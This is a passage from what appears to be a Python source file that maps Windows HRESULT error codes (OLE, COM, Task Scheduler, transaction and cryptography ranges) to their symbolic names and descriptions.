(\"STG_E_CSS_SCRAMBLED_SECTOR\", \"Copy Protection Error-The read failed because the sector is encrypted.\"),\n        0x8003030A: (\"STG_E_CSS_REGION_MISMATCH\", \"Copy Protection Error-The current DVD's region does not correspond to the region setting of the drive.\"),\n        0x8003030B: (\"STG_E_RESETS_EXHAUSTED\", \"Copy Protection Error-The drive's region setting may be permanent or the number of user resets has been exhausted.\"),\n        0x80040000: (\"OLE_E_OLEVERB\", \"Invalid OLEVERB structure.\"),\n        0x80040001: (\"OLE_E_ADVF\", \"Invalid advise flags.\"),\n        0x80040002: (\"OLE_E_ENUM_NOMORE\", \"Cannot enumerate any more because the associated data is missing.\"),\n        0x80040003: (\"OLE_E_ADVISENOTSUPPORTED\", \"This implementation does not take advises.\"),\n        0x80040004: (\"OLE_E_NOCONNECTION\", \"There is no connection for this connection ID.\"),\n        0x80040005: (\"OLE_E_NOTRUNNING\", \"Need to run the object to perform this operation.\"),\n        0x80040006: (\"OLE_E_NOCACHE\", \"There is no cache to operate on.\"),\n        0x80040007: (\"OLE_E_BLANK\", \"Uninitialized object.\"),\n        0x80040008: (\"OLE_E_CLASSDIFF\", \"Linked object's source class has changed.\"),\n        0x80040009: (\"OLE_E_CANT_GETMONIKER\", \"Not able to get the moniker of the object.\"),\n        0x8004000A: (\"OLE_E_CANT_BINDTOSOURCE\", \"Not able to bind to the source.\"),\n        0x8004000B: (\"OLE_E_STATIC\", \"Object is static; operation not allowed.\"),\n        0x8004000C: (\"OLE_E_PROMPTSAVECANCELLED\", \"User canceled out of the Save dialog box.\"),\n        0x8004000D: (\"OLE_E_INVALIDRECT\", \"Invalid rectangle.\"),\n        0x8004000E: (\"OLE_E_WRONGCOMPOBJ\", \"compobj.dll is too old for the ole2.dll initialized.\"),\n        0x8004000F: (\"OLE_E_INVALIDHWND\", \"Invalid window handle.\"),\n        0x80040010: (\"OLE_E_NOT_INPLACEACTIVE\", \"Object is not in any of the inplace active states.\"),\n        0x80040011: (\"OLE_E_CANTCONVERT\", \"Not able to convert object.\"),\n        0x80040012: (\"OLE_E_NOSTORAGE\", \"Not able to perform the operation because object is not given storage yet.\"),\n        0x80040064: (\"DV_E_FORMATETC\", \"Invalid FORMATETC structure.\"),\n        0x80040065: (\"DV_E_DVTARGETDEVICE\", \"Invalid DVTARGETDEVICE structure.\"),\n        0x80040066: (\"DV_E_STGMEDIUM\", \"Invalid STDGMEDIUM structure.\"),\n        0x80040067: (\"DV_E_STATDATA\", \"Invalid STATDATA structure.\"),\n        0x80040068: (\"DV_E_LINDEX\", \"Invalid lindex.\"),\n        0x80040069: (\"DV_E_TYMED\", \"Invalid TYMED structure.\"),\n        0x8004006A: (\"DV_E_CLIPFORMAT\", \"Invalid clipboard format.\"),\n        0x8004006B: (\"DV_E_DVASPECT\", \"Invalid aspects.\"),\n        0x8004006C: (\"DV_E_DVTARGETDEVICE_SIZE\", \"The tdSize parameter of the DVTARGETDEVICE structure is invalid.\"),\n        0x8004006D: (\"DV_E_NOIVIEWOBJECT\", \"Object does not support IViewObject interface.\"),\n        0x80040100: (\"DRAGDROP_E_NOTREGISTERED\", \"Trying to revoke a drop target that has not been registered.\"),\n        0x80040101: (\"DRAGDROP_E_ALREADYREGISTERED\", \"This window has already been registered as a drop target.\"),\n        0x80040102: (\"DRAGDROP_E_INVALIDHWND\", \"Invalid window handle.\"),\n        0x80040110: (\"CLASS_E_NOAGGREGATION\", \"Class does not support aggregation (or class object is remote).\"),\n        0x80040111: (\"CLASS_E_CLASSNOTAVAILABLE\", \"ClassFactory cannot supply requested class.\"),\n        0x80040112: (\"CLASS_E_NOTLICENSED\", \"Class is not licensed for use.\"),\n        0x80040140: (\"VIEW_E_DRAW\", \"Error drawing view.\"),\n        0x80040150: (\"REGDB_E_READREGDB\", \"Could not read key from registry.\"),\n        0x80040151: (\"REGDB_E_WRITEREGDB\", \"Could not write key to registry.\"),\n        0x80040152: (\"REGDB_E_KEYMISSING\", \"Could not find the key in the registry.\"),\n        0x80040153: (\"REGDB_E_INVALIDVALUE\", \"Invalid value for registry.\"),\n        0x80040154: (\"REGDB_E_CLASSNOTREG\", \"Class not registered.\"),\n        0x80040155: (\"REGDB_E_IIDNOTREG\", \"Interface not registered.\"),\n        0x80040156: (\"REGDB_E_BADTHREADINGMODEL\", \"Threading model entry is not valid.\"),\n        0x80040160: (\"CAT_E_CATIDNOEXIST\", \"CATID does not exist.\"),\n        0x80040161: (\"CAT_E_NODESCRIPTION\", \"Description not found.\"),\n        0x80040164: (\"CS_E_PACKAGE_NOTFOUND\", \"No package in the software installation data in Active Directory meets this criteria.\"),\n        0x80040165: (\"CS_E_NOT_DELETABLE\", \"Deleting this will break the referential integrity of the software installation data in Active Directory.\"),\n        0x80040166: (\"CS_E_CLASS_NOTFOUND\", \"The CLSID was not found in the software installation data in Active Directory.\"),\n        0x80040167: (\"CS_E_INVALID_VERSION\", \"The software installation data in Active Directory is corrupt.\"),\n        0x80040168: (\"CS_E_NO_CLASSSTORE\", \"There is no software installation data in Active Directory.\"),\n        0x80040169: (\"CS_E_OBJECT_NOTFOUND\", \"There is no software installation data object in Active Directory.\"),\n        0x8004016A: (\"CS_E_OBJECT_ALREADY_EXISTS\", \"The software installation data object in Active Directory already exists.\"),\n        0x8004016B: (\"CS_E_INVALID_PATH\", \"The path to the software installation data in Active Directory is not correct.\"),\n        0x8004016C: (\"CS_E_NETWORK_ERROR\", \"A network error interrupted the operation.\"),\n        0x8004016D: (\"CS_E_ADMIN_LIMIT_EXCEEDED\", \"The size of this object exceeds the maximum size set by the administrator.\"),\n        0x8004016E: (\"CS_E_SCHEMA_MISMATCH\", \"The schema for the software installation data in Active Directory does not match the required schema.\"),\n        0x8004016F: (\"CS_E_INTERNAL_ERROR\", \"An error occurred in the software installation data in Active Directory.\"),\n        0x80040170: (\"CACHE_E_NOCACHE_UPDATED\", \"Cache not updated.\"),\n        0x80040180: (\"OLEOBJ_E_NOVERBS\", \"No verbs for OLE object.\"),\n        0x80040181: (\"OLEOBJ_E_INVALIDVERB\", \"Invalid verb for OLE object.\"),\n        0x800401A0: (\"INPLACE_E_NOTUNDOABLE\", \"Undo is not available.\"),\n        0x800401A1: (\"INPLACE_E_NOTOOLSPACE\", \"Space for tools is not available.\"),\n        0x800401C0: (\"CONVERT10_E_OLESTREAM_GET\", \"OLESTREAM Get method failed.\"),\n        0x800401C1: (\"CONVERT10_E_OLESTREAM_PUT\", \"OLESTREAM Put method failed.\"),\n        0x800401C2: (\"CONVERT10_E_OLESTREAM_FMT\", \"Contents of the OLESTREAM not in correct format.\"),\n        0x800401C3: (\"CONVERT10_E_OLESTREAM_BITMAP_TO_DIB\", \"There was an error in a Windows GDI call while converting the bitmap to a device-independent bitmap (DIB).\"),\n        0x800401C4: (\"CONVERT10_E_STG_FMT\", \"Contents of the IStorage not in correct format.\"),\n        0x800401C5: (\"CONVERT10_E_STG_NO_STD_STREAM\", \"Contents of IStorage is missing one of the standard streams.\"),\n        0x800401C6: (\"CONVERT10_E_STG_DIB_TO_BITMAP\", \"There was an error in a Windows Graphics Device Interface (GDI) call while converting the DIB to a bitmap.\"),\n        0x800401D0: (\"CLIPBRD_E_CANT_OPEN\", \"OpenClipboard failed.\"),\n        0x800401D1: (\"CLIPBRD_E_CANT_EMPTY\", \"EmptyClipboard failed.\"),\n        0x800401D2: (\"CLIPBRD_E_CANT_SET\", \"SetClipboard failed.\"),\n        0x800401D3: (\"CLIPBRD_E_BAD_DATA\", \"Data on clipboard is invalid.\"),\n        0x800401D4: (\"CLIPBRD_E_CANT_CLOSE\", \"CloseClipboard failed.\"),\n        0x800401E0: (\"MK_E_CONNECTMANUALLY\", \"Moniker needs to be connected manually.\"),\n        0x800401E1: (\"MK_E_EXCEEDEDDEADLINE\", \"Operation exceeded deadline.\"),\n        0x800401E2: (\"MK_E_NEEDGENERIC\", \"Moniker needs to be generic.\"),\n        0x800401E3: (\"MK_E_UNAVAILABLE\", \"Operation unavailable.\"),\n        0x800401E4: (\"MK_E_SYNTAX\", \"Invalid syntax.\"),\n        0x800401E5: (\"MK_E_NOOBJECT\", \"No object for moniker.\"),\n        0x800401E6: (\"MK_E_INVALIDEXTENSION\", \"Bad extension for file.\"),\n        0x800401E7: (\"MK_E_INTERMEDIATEINTERFACENOTSUPPORTED\", \"Intermediate operation failed.\"),\n        0x800401E8: (\"MK_E_NOTBINDABLE\", \"Moniker is not bindable.\"),\n        0x800401E9: (\"MK_E_NOTBOUND\", \"Moniker is not bound.\"),\n        0x800401EA: (\"MK_E_CANTOPENFILE\", \"Moniker cannot open file.\"),\n        0x800401EB: (\"MK_E_MUSTBOTHERUSER\", \"User input required for operation to succeed.\"),\n        0x800401EC: (\"MK_E_NOINVERSE\", \"Moniker class has no inverse.\"),\n        0x800401ED: (\"MK_E_NOSTORAGE\", \"Moniker does not refer to storage.\"),\n        0x800401EE: (\"MK_E_NOPREFIX\", \"No common prefix.\"),\n        0x800401EF: (\"MK_E_ENUMERATION_FAILED\", \"Moniker could not be enumerated.\"),\n        0x800401F0: (\"CO_E_NOTINITIALIZED\", \"CoInitialize has not been called.\"),\n        0x800401F1: (\"CO_E_ALREADYINITIALIZED\", \"CoInitialize has already been called.\"),\n        0x800401F2: (\"CO_E_CANTDETERMINECLASS\", \"Class of object cannot be determined.\"),\n        0x800401F3: (\"CO_E_CLASSSTRING\", \"Invalid class string.\"),\n        0x800401F4: (\"CO_E_IIDSTRING\", \"Invalid interface string.\"),\n        0x800401F5: (\"CO_E_APPNOTFOUND\", \"Application not found.\"),\n        0x800401F6: (\"CO_E_APPSINGLEUSE\", \"Application cannot be run more than once.\"),\n        0x800401F7: (\"CO_E_ERRORINAPP\", \"Some error in application.\"),\n        0x800401F8: (\"CO_E_DLLNOTFOUND\", \"DLL for class not found.\"),\n        0x800401F9: (\"CO_E_ERRORINDLL\", \"Error in the DLL.\"),\n        0x800401FA: (\"CO_E_WRONGOSFORAPP\", \"Wrong operating system or operating system version for application.\"),\n        0x800401FB: (\"CO_E_OBJNOTREG\", \"Object is not registered.\"),\n        0x800401FC: (\"CO_E_OBJISREG\", \"Object is already registered.\"),\n        0x800401FD: (\"CO_E_OBJNOTCONNECTED\", \"Object is not connected to server.\"),\n        0x800401FE: (\"CO_E_APPDIDNTREG\", \"Application was launched, but it did not register a class factory.\"),\n        0x800401FF: (\"CO_E_RELEASED\", \"Object has been released.\"),\n        0x80040201: (\"EVENT_E_ALL_SUBSCRIBERS_FAILED\", \"An event was unable to invoke any of the subscribers.\"),\n        0x80040203: (\"EVENT_E_QUERYSYNTAX\", \"A syntax error occurred trying to evaluate a query string.\"),\n        0x80040204: (\"EVENT_E_QUERYFIELD\", \"An invalid field name was used in a query string.\"),\n        0x80040205: (\"EVENT_E_INTERNALEXCEPTION\", \"An unexpected exception was raised.\"),\n        0x80040206: (\"EVENT_E_INTERNALERROR\", \"An unexpected internal error was detected.\"),\n        0x80040207: (\"EVENT_E_INVALID_PER_USER_SID\", \"The owner security identifier (SID) on a per-user subscription does not exist.\"),\n        0x80040208: (\"EVENT_E_USER_EXCEPTION\", \"A user-supplied component or subscriber raised an exception.\"),\n        0x80040209: (\"EVENT_E_TOO_MANY_METHODS\", \"An interface has too many methods to fire events from.\"),\n        0x8004020A: (\"EVENT_E_MISSING_EVENTCLASS\", \"A subscription cannot be stored unless its event class already exists.\"),\n        0x8004020B: (\"EVENT_E_NOT_ALL_REMOVED\", \"Not all the objects requested could be removed.\"),\n        0x8004020C: (\"EVENT_E_COMPLUS_NOT_INSTALLED\", \"COM+ is required for this operation, but it is not installed.\"),\n        0x8004020D: (\"EVENT_E_CANT_MODIFY_OR_DELETE_UNCONFIGURED_OBJECT\", \"Cannot modify or delete an object that was not added using the COM+ Administrative SDK.\"),\n        0x8004020E: (\"EVENT_E_CANT_MODIFY_OR_DELETE_CONFIGURED_OBJECT\", \"Cannot modify or delete an object that was added using the COM+ Administrative SDK.\"),\n        0x8004020F: (\"EVENT_E_INVALID_EVENT_CLASS_PARTITION\", \"The event class for this subscription is in an invalid partition.\"),\n        0x80040210: (\"EVENT_E_PER_USER_SID_NOT_LOGGED_ON\", \"The owner of the PerUser subscription is not logged on to the system specified.\"),\n        0x80041309: (\"SCHED_E_TRIGGER_NOT_FOUND\", \"Trigger not found.\"),\n        0x8004130A: (\"SCHED_E_TASK_NOT_READY\", \"One or more of the properties that are needed to run this task have not been set.\"),\n        0x8004130B: (\"SCHED_E_TASK_NOT_RUNNING\", \"There is no running instance of the task.\"),\n        0x8004130C: (\"SCHED_E_SERVICE_NOT_INSTALLED\", \"The Task Scheduler service is not installed on this computer.\"),\n        0x8004130D: (\"SCHED_E_CANNOT_OPEN_TASK\", \"The task object could not be opened.\"),\n        0x8004130E: (\"SCHED_E_INVALID_TASK\", \"The object is either an invalid task object or is not a task object.\"),\n        0x8004130F: (\"SCHED_E_ACCOUNT_INFORMATION_NOT_SET\", \"No account information could be found in the Task Scheduler security database for the task indicated.\"),\n        0x80041310: (\"SCHED_E_ACCOUNT_NAME_NOT_FOUND\", \"Unable to establish existence of the account specified.\"),\n        0x80041311: (\"SCHED_E_ACCOUNT_DBASE_CORRUPT\", \"Corruption was detected in the Task Scheduler security database; the database has been reset.\"),\n        0x80041312: (\"SCHED_E_NO_SECURITY_SERVICES\", \"Task Scheduler security services are available only on Windows NT.\"),\n        0x80041313: (\"SCHED_E_UNKNOWN_OBJECT_VERSION\", \"The task object version is either unsupported or invalid.\"),\n        0x80041314: (\"SCHED_E_UNSUPPORTED_ACCOUNT_OPTION\", \"The task has been configured with an unsupported combination of account settings and run-time options.\"),\n        0x80041315: (\"SCHED_E_SERVICE_NOT_RUNNING\", \"The Task Scheduler service is not running.\"),\n        0x80041316: (\"SCHED_E_UNEXPECTEDNODE\", \"The task XML contains an unexpected node.\"),\n        0x80041317: (\"SCHED_E_NAMESPACE\", \"The task XML contains an element or attribute from an unexpected namespace.\"),\n        0x80041318: (\"SCHED_E_INVALIDVALUE\", \"The task XML contains a value that is incorrectly formatted or out of range.\"),\n        0x80041319: (\"SCHED_E_MISSINGNODE\", \"The task XML is missing a required element or attribute.\"),\n        0x8004131A: (\"SCHED_E_MALFORMEDXML\", \"The task XML is malformed.\"),\n        0x8004131D: (\"SCHED_E_TOO_MANY_NODES\", \"The task XML contains too many nodes of the same type.\"),\n        0x8004131E: (\"SCHED_E_PAST_END_BOUNDARY\", \"The task cannot be started after the trigger's end boundary.\"),\n        0x8004131F: (\"SCHED_E_ALREADY_RUNNING\", \"An instance of this task is already running.\"),\n        0x80041320: (\"SCHED_E_USER_NOT_LOGGED_ON\", \"The task will not run because the user is not logged on.\"),\n        0x80041321: (\"SCHED_E_INVALID_TASK_HASH\", \"The task image is corrupt or has been tampered with.\"),\n        0x80041322: (\"SCHED_E_SERVICE_NOT_AVAILABLE\", \"The Task Scheduler service is not available.\"),\n        0x80041323: (\"SCHED_E_SERVICE_TOO_BUSY\", \"The Task Scheduler service is too busy to handle your request. Try again later.\"),\n        0x80041324: (\"SCHED_E_TASK_ATTEMPTED\", \"The Task Scheduler service attempted to run the task, but the task did not run due to one of the constraints in the task definition.\"),\n        0x8004D000: (\"XACT_E_ALREADYOTHERSINGLEPHASE\", \"Another single phase resource manager has already been enlisted in this transaction.\"),\n        0x8004D001: (\"XACT_E_CANTRETAIN\", \"A retaining commit or abort is not supported.\"),\n        0x8004D002: (\"XACT_E_COMMITFAILED\", \"The transaction failed to commit for an unknown reason. The transaction was aborted.\"),\n        0x8004D003: (\"XACT_E_COMMITPREVENTED\", \"Cannot call commit on this transaction object because the calling application did not initiate the transaction.\"),\n        0x8004D004: (\"XACT_E_HEURISTICABORT\", \"Instead of committing, the resource heuristically aborted.\"),\n        0x8004D005: (\"XACT_E_HEURISTICCOMMIT\", \"Instead of aborting, the resource heuristically committed.\"),\n        0x8004D006: (\"XACT_E_HEURISTICDAMAGE\", \"Some of the states of the resource were committed while others were aborted, likely because of heuristic decisions.\"),\n        0x8004D007: (\"XACT_E_HEURISTICDANGER\", \"Some of the states of the resource may have been committed while others may have been aborted, likely because of heuristic decisions.\"),\n        0x8004D008: (\"XACT_E_ISOLATIONLEVEL\", \"The requested isolation level is not valid or supported.\"),\n        0x8004D009: (\"XACT_E_NOASYNC\", \"The transaction manager does not support an asynchronous operation for this method.\"),\n        0x8004D00A: (\"XACT_E_NOENLIST\", \"Unable to enlist in the transaction.\"),\n        0x8004D00B: (\"XACT_E_NOISORETAIN\", \"The requested semantics of retention of isolation across retaining commit and abort boundaries cannot be supported by this transaction implementation, or isoFlags was not equal to 0.\"),\n        0x8004D00C: (\"XACT_E_NORESOURCE\", \"There is no resource presently associated with this enlistment.\"),\n        0x8004D00D: (\"XACT_E_NOTCURRENT\", \"The transaction failed to commit due to the failure of optimistic concurrency control in at least one of the resource managers.\"),\n        0x8004D00E: (\"XACT_E_NOTRANSACTION\", \"The transaction has already been implicitly or explicitly committed or aborted.\"),\n        0x8004D00F: (\"XACT_E_NOTSUPPORTED\", \"An invalid combination of flags was specified.\"),\n        0x8004D010: (\"XACT_E_UNKNOWNRMGRID\", \"The resource manager ID is not associated with this transaction or the transaction manager.\"),\n        0x8004D011: (\"XACT_E_WRONGSTATE\", \"This method was called in the wrong state.\"),\n        0x8004D012: (\"XACT_E_WRONGUOW\", \"The indicated unit of work does not match the unit of work expected by the resource manager.\"),\n        0x8004D013: (\"XACT_E_XTIONEXISTS\", \"An enlistment in a transaction already exists.\"),\n        0x8004D014: (\"XACT_E_NOIMPORTOBJECT\", \"An import object for the transaction could not be found.\"),\n        0x8004D015: (\"XACT_E_INVALIDCOOKIE\", \"The transaction cookie is invalid.\"),\n        0x8004D016: (\"XACT_E_INDOUBT\", \"The transaction status is in doubt. A communication failure occurred, or a transaction manager or resource manager has failed.\"),\n        0x8004D017: (\"XACT_E_NOTIMEOUT\", \"A time-out was specified, but time-outs are not supported.\"),\n        0x8004D018: (\"XACT_E_ALREADYINPROGRESS\", \"The requested operation is already in progress for the transaction.\"),\n        0x8004D019: (\"XACT_E_ABORTED\", \"The transaction has already been aborted.\"),\n        0x8004D01A: (\"XACT_E_LOGFULL\", \"The Transaction Manager returned a log full error.\"),\n        0x8004D01B: (\"XACT_E_TMNOTAVAILABLE\", \"The transaction manager is not available.\"),\n        0x8004D01C: (\"XACT_E_CONNECTION_DOWN\", \"A connection with the transaction manager was lost.\"),\n        0x8004D01D: (\"XACT_E_CONNECTION_DENIED\", \"A request to establish a connection with the transaction manager was denied.\"),\n        0x8004D01E: (\"XACT_E_REENLISTTIMEOUT\", \"Resource manager reenlistment to determine transaction status timed out.\"),\n        0x8004D01F: (\"XACT_E_TIP_CONNECT_FAILED\", \"The transaction manager failed to establish a connection with another Transaction Internet Protocol (TIP) transaction manager.\"),\n        0x8004D020: (\"XACT_E_TIP_PROTOCOL_ERROR\", \"The transaction manager encountered a protocol error with another TIP transaction manager.\"),\n        0x8004D021: (\"XACT_E_TIP_PULL_FAILED\", \"The transaction manager could not propagate a transaction from another TIP transaction manager.\"),\n        0x8004D022: (\"XACT_E_DEST_TMNOTAVAILABLE\", \"The transaction manager on the destination machine is not available.\"),\n        0x8004D023: (\"XACT_E_TIP_DISABLED\", \"The transaction manager has disabled its support for TIP.\"),\n        0x8004D024: (\"XACT_E_NETWORK_TX_DISABLED\", \"The transaction manager has disabled its support for remote or network transactions.\"),\n        0x8004D025: (\"XACT_E_PARTNER_NETWORK_TX_DISABLED\", \"The partner transaction manager has disabled its support for remote or network transactions.\"),\n        0x8004D026: (\"XACT_E_XA_TX_DISABLED\", \"The transaction manager has disabled its support for XA transactions.\"),\n        0x8004D027: (\"XACT_E_UNABLE_TO_READ_DTC_CONFIG\", \"Microsoft Distributed Transaction Coordinator (MSDTC) was unable to read its configuration information.\"),\n        0x8004D028: (\"XACT_E_UNABLE_TO_LOAD_DTC_PROXY\", \"MSDTC was unable to load the DTC proxy DLL.\"),\n        0x8004D029: (\"XACT_E_ABORTING\", \"The local transaction has aborted.\"),\n        0x8004D080: (\"XACT_E_CLERKNOTFOUND\", \"The specified CRM clerk was not found. It may have completed before it could be held.\"),\n        0x8004D081: (\"XACT_E_CLERKEXISTS\", \"The specified CRM clerk does not exist.\"),\n        0x8004D082: (\"XACT_E_RECOVERYINPROGRESS\", \"Recovery of the CRM log file is still in progress.\"),\n        0x8004D083: (\"XACT_E_TRANSACTIONCLOSED\", \"The transaction has completed, and the log records have been discarded from the log file. They are no longer available.\"),\n        0x8004D084: (\"XACT_E_INVALIDLSN\", \"lsnToRead is outside of the current limits of the log\"),\n        0x8004D085: (\"XACT_E_REPLAYREQUEST\", \"The COM+ Compensating Resource Manager has records it wishes to replay.\"),\n        0x8004D100: (\"XACT_E_CONNECTION_REQUEST_DENIED\", \"The request to connect to the specified transaction coordinator was denied.\"),\n        0x8004D101: (\"XACT_E_TOOMANY_ENLISTMENTS\", \"The maximum number of enlistments for the specified transaction has been reached.\"),\n        0x8004D102: (\"XACT_E_DUPLICATE_GUID\", \"A resource manager with the same identifier is already registered with the specified transaction coordinator.\"),\n        0x8004D103: (\"XACT_E_NOTSINGLEPHASE\", \"The prepare request given was not eligible for single-phase optimizations.\"),\n        0x8004D104: (\"XACT_E_RECOVERYALREADYDONE\", \"RecoveryComplete has already been called for the given resource manager.\"),\n        0x8004D105: (\"XACT_E_PROTOCOL\", \"The interface call made was incorrect for the current state of the protocol.\"),\n        0x8004D106: (\"XACT_E_RM_FAILURE\", \"The xa_open call failed for the XA resource.\"),\n        0x8004D107: (\"XACT_E_RECOVERY_FAILED\", \"The xa_recover call failed for the XA resource.\"),\n        0x8004D108: (\"XACT_E_LU_NOT_FOUND\", \"The logical unit of work specified cannot be found.\"),\n        0x8004D109: (\"XACT_E_DUPLICATE_LU\", \"The specified logical unit of work already exists.\"),\n        0x8004D10A: (\"XACT_E_LU_NOT_CONNECTED\", \"Subordinate creation failed. The specified logical unit of work was not connected.\"),\n        0x8004D10B: (\"XACT_E_DUPLICATE_TRANSID\", \"A transaction with the given identifier already exists.\"),\n        0x8004D10C: (\"XACT_E_LU_BUSY\", \"The resource is in use.\"),\n        0x8004D10D: (\"XACT_E_LU_NO_RECOVERY_PROCESS\", \"The LU Recovery process is down.\"),\n        0x8004D10E: (\"XACT_E_LU_DOWN\", \"The remote session was lost.\"),\n        0x8004D10F: (\"XACT_E_LU_RECOVERING\", \"The resource is currently recovering.\"),\n        0x8004D110: (\"XACT_E_LU_RECOVERY_MISMATCH\", \"There was a mismatch in driving recovery.\"),\n        0x8004D111: (\"XACT_E_RM_UNAVAILABLE\", \"An error occurred with the XA resource.\"),\n        0x8004E002: (\"CONTEXT_E_ABORTED\", \"The root transaction wanted to commit, but the transaction aborted.\"),\n        0x8004E003: (\"CONTEXT_E_ABORTING\", \"The COM+ component on which the method call was made has a transaction that has already aborted or is in the process of aborting.\"),\n        0x8004E004: (\"CONTEXT_E_NOCONTEXT\", \"There is no Microsoft Transaction Server (MTS) object context.\"),\n        0x8004E005: (\"CONTEXT_E_WOULD_DEADLOCK\", \"The component is configured to use synchronization, and this method call would cause a deadlock to occur.\"),\n        0x8004E006: (\"CONTEXT_E_SYNCH_TIMEOUT\", \"The component is configured to use synchronization, and a thread has timed out waiting to enter the context.\"),\n        0x8004E007: (\"CONTEXT_E_OLDREF\", \"You made a method call on a COM+ component that has a transaction that has already committed or aborted.\"),\n        0x8004E00C: (\"CONTEXT_E_ROLENOTFOUND\", \"The specified role was not configured for the application.\"),\n        0x8004E00F: (\"CONTEXT_E_TMNOTAVAILABLE\", \"COM+ was unable to talk to the MSDTC.\"),\n        0x8004E021: (\"CO_E_ACTIVATIONFAILED\", \"An unexpected error occurred during COM+ activation.\"),\n        0x8004E022: (\"CO_E_ACTIVATIONFAILED_EVENTLOGGED\", \"COM+ activation failed. Check the event log for more information.\"),\n        0x8004E023: (\"CO_E_ACTIVATIONFAILED_CATALOGERROR\", \"COM+ activation failed due to a catalog or configuration error.\"),\n        0x8004E024: (\"CO_E_ACTIVATIONFAILED_TIMEOUT\", \"COM+ activation failed because the activation could not be completed in the specified amount of time.\"),\n        0x8004E025: (\"CO_E_INITIALIZATIONFAILED\", \"COM+ activation failed because an initialization function failed. Check the event log for more information.\"),\n        0x8004E026: (\"CONTEXT_E_NOJIT\", \"The requested operation requires that just-in-time (JIT) be in the current context, and it is not.\"),\n        0x8004E027: (\"CONTEXT_E_NOTRANSACTION\", \"The requested operation requires that the current context have a transaction, and it does not.\"),\n        0x8004E028: (\"CO_E_THREADINGMODEL_CHANGED\", \"The components threading model has changed after install into a COM+ application. Re-install component.\"),\n        0x8004E029: (\"CO_E_NOIISINTRINSICS\", \"Internet Information Services (IIS) intrinsics not available. Start your work with IIS.\"),\n        0x8004E02A: (\"CO_E_NOCOOKIES\", \"An attempt to write a cookie failed.\"),\n        0x8004E02B: (\"CO_E_DBERROR\", \"An attempt to use a database generated a database-specific error.\"),\n        0x8004E02C: (\"CO_E_NOTPOOLED\", \"The COM+ component you created must use object pooling to work.\"),\n        0x8004E02D: (\"CO_E_NOTCONSTRUCTED\", \"The COM+ component you created must use object construction to work correctly.\"),\n        0x8004E02E: (\"CO_E_NOSYNCHRONIZATION\", \"The COM+ component requires synchronization, and it is not configured for it.\"),\n        0x8004E02F: (\"CO_E_ISOLEVELMISMATCH\", \"The TxIsolation Level property for the COM+ component being created is stronger than the TxIsolationLevel for the root.\"),\n        0x8004E030: (\"CO_E_CALL_OUT_OF_TX_SCOPE_NOT_ALLOWED\", \"The component attempted to make a cross-context call between invocations of EnterTransactionScope and ExitTransactionScope. This is not allowed. Cross-context calls cannot be made while inside a transaction scope.\"),\n        0x8004E031: (\"CO_E_EXIT_TRANSACTION_SCOPE_NOT_CALLED\", \"The component made a call to EnterTransactionScope, but did not make a corresponding call to ExitTransactionScope before returning.\"),\n        0x80070005: (\"E_ACCESSDENIED\", \"General access denied error.\"),\n        0x8007000E: (\"E_OUTOFMEMORY\", \"The server does not have enough memory for the new channel.\"),\n        0x80070032: (\"ERROR_NOT_SUPPORTED\", \"The server cannot support a client request for a dynamic virtual channel.\"),\n        0x80070057: (\"E_INVALIDARG\", \"One or more arguments are invalid.\"),\n        0x80080001: (\"CO_E_CLASS_CREATE_FAILED\", \"Attempt to create a class object failed.\"),\n        0x80080002: (\"CO_E_SCM_ERROR\", \"OLE service could not bind object.\"),\n        0x80080003: (\"CO_E_SCM_RPC_FAILURE\", \"RPC communication failed with OLE service.\"),\n        0x80080004: (\"CO_E_BAD_PATH\", \"Bad path to object.\"),\n        0x80080005: (\"CO_E_SERVER_EXEC_FAILURE\", \"Server execution failed.\"),\n        0x80080006: (\"CO_E_OBJSRV_RPC_FAILURE\", \"OLE service could not communicate with the object server.\"),\n        0x80080007: (\"MK_E_NO_NORMALIZED\", \"Moniker path could not be normalized.\"),\n        0x80080008: (\"CO_E_SERVER_STOPPING\", \"Object server is stopping when OLE service contacts it.\"),\n        0x80080009: (\"MEM_E_INVALID_ROOT\", \"An invalid root block pointer was specified.\"),\n        0x80080010: (\"MEM_E_INVALID_LINK\", \"An allocation chain contained an invalid link pointer.\"),\n        0x80080011: (\"MEM_E_INVALID_SIZE\", \"The requested allocation size was too large.\"),\n        0x80080015: (\"CO_E_MISSING_DISPLAYNAME\", \"The activation requires a display name to be present under the class identifier (CLSID) key.\"),\n        0x80080016: (\"CO_E_RUNAS_VALUE_MUST_BE_AAA\", \"The activation requires that the RunAs value for the application is Activate As Activator.\"),\n        0x80080017: (\"CO_E_ELEVATION_DISABLED\", \"The class is not configured to support elevated activation.\"),\n        0x80090001: (\"NTE_BAD_UID\", \"Bad UID.\"),\n        0x80090002: (\"NTE_BAD_HASH\", \"Bad hash.\"),\n        0x80090003: (\"NTE_BAD_KEY\", \"Bad key.\"),\n        0x80090004: (\"NTE_BAD_LEN\", \"Bad length.\"),\n        0x80090005: (\"NTE_BAD_DATA\", \"Bad data.\"),\n        0x80090006: (\"NTE_BAD_SIGNATURE\", \"Invalid signature.\"),\n        0x80090007: (\"NTE_BAD_VER\", \"Bad version of provider.\"),\n        0x80090008: (\"NTE_BAD_ALGID\", \"Invalid algorithm specified.\"),\n        0x80090009: (\"NTE_BAD_FLAGS\", \"Invalid flags specified.\"),\n        0x8009000A: (\"NTE_BAD_TYPE\", \"Invalid type specified.\"),\n        0x8009000B: (\"NTE_BAD_KEY_STATE\", \"Key not valid for use in specified state.\"),\n        0x8009000C: (\"NTE_BAD_HASH_STATE\", \"Hash not valid for use in specified state.\"),\n        0x8009000D: (\"NTE_NO_KEY\", \"Key does not exist.\"),\n        0x8009000E: (\"NTE_NO_MEMORY\", \"Insufficient memory available for the operation.\"),\n        0x8009000F: (\"NTE_EXISTS\", \"Object already exists.\"),\n        0x80090010: (\"NTE_PERM\", \"Access denied.\"),\n        0x80090011: (\"NTE_NOT_FOUND\", \"Object was not found.\"),\n        0x80090012: (\"NTE_DOUBLE_ENCRYPT\", \"Data already encrypted.\"),\n        0x80090013: (\"NTE_BAD_PROVIDER\", \"Invalid provider specified.\"),\n        0x80090014: (\"NTE_BAD_PROV_TYPE\", \"Invalid provider type specified.\"),\n        0x80090015: (\"NTE_BAD_PUBLIC_KEY\", \"Provider's public key is invalid.\"),\n        0x80090016: (\"NTE_BAD_KEYSET\", \"Key set does not exist.\"),\n        0x80090017: (\"NTE_PROV_TYPE_NOT_DEF\", \"Provider type not defined.\"),\n        0x80090018: (\"NTE_PROV_TYPE_ENTRY_BAD\", \"The provider type, as registered, is invalid.\"),\n        0x80090019: (\"NTE_KEYSET_NOT_DEF\", \"The key set is not defined.\"),\n        0x8009001A: (\"NTE_KEYSET_ENTRY_BAD\", \"The key set, as registered, is 